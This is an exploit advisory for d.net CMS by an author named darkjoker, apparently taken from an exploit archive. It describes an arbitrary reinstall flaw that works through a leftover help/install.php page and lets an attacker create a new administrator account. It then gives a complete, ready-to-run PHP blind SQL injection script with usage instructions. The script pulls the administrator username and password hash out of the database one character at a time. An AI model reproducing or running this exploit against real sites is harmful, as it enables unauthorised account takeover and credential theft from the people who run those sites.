d.net CMS Arbitrary Reinstall/Blind SQL Injection Exploit

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-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
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[+] Arbitrary Re-Installation Vulnerability

There's no check about the elimination of 'help' directory, 
then whenever an administrator forget to delete it, we can
re-install the CMS, it means we can add a new administrator
account, without specify database's informations.

http://hostname/dnetCMS/help/install.php



[+] Blind SQL Injection Exploit

<?php

function usage () {
	exit (	"\n".
		"[+] d.net CMS Blind SQL Injection Exploit\n".
		"[+] Author  : darkjoker\n".
		"[+] Site    : http://darkjoker.net23.net\n".
		"[+] Download: https://sourceforge.net/projects/dnet/\n".
		"[+] Usage   : php xpl.php <hostname> <path>\n".
		"[+] Ex.     : php xpl.php localhost /dnetCMS/\n".
		"[+] Greetz  : cristina, puccio (they kept me company when I coded this stuff :D)\n".
		"\n");
}

function hex ($string) {
	$i=0;
	while ($i<strlen($string)) 
		$hex .= "%".dechex(ord($string[$i++]));
	return $hex;
}

function check ($hostname, $path, $character, $position, $field) {
	$character = ord($character);
	$sp = fsockopen ($hostname, 80);
	$query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- ");
	$request = "GET {$path}index.php?page={$query} HTTP/1.1\r\n".
		   "Host: {$hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	fputs ($sp, $request);
	while (!feof ($sp)) 
		$reply .= fgets ($sp,1024);
	fclose ($sp);
	if ((preg_match ("|Location: index\.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply)))
		return false;
	else
		return true;
}

function get_field ($hostname, $path, $field) {
	echo "[+] ".ucfirst($field)." (hash): ";
	$chars = "abcdef0123456789";
	for($i=0,$d=1;$d<=32;$i++) {
		if (check ($hostname, $path, $chars [$i], $d, $field)) {
			echo $chars [$i];
			$i = -1;
			$d++;
		}
	}
	echo "\n";
}

if ($argc != 3)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$fields = array ("username", "password");
foreach ($fields as $field)
	get_field ($hostname, $path, $field);

# sebug.net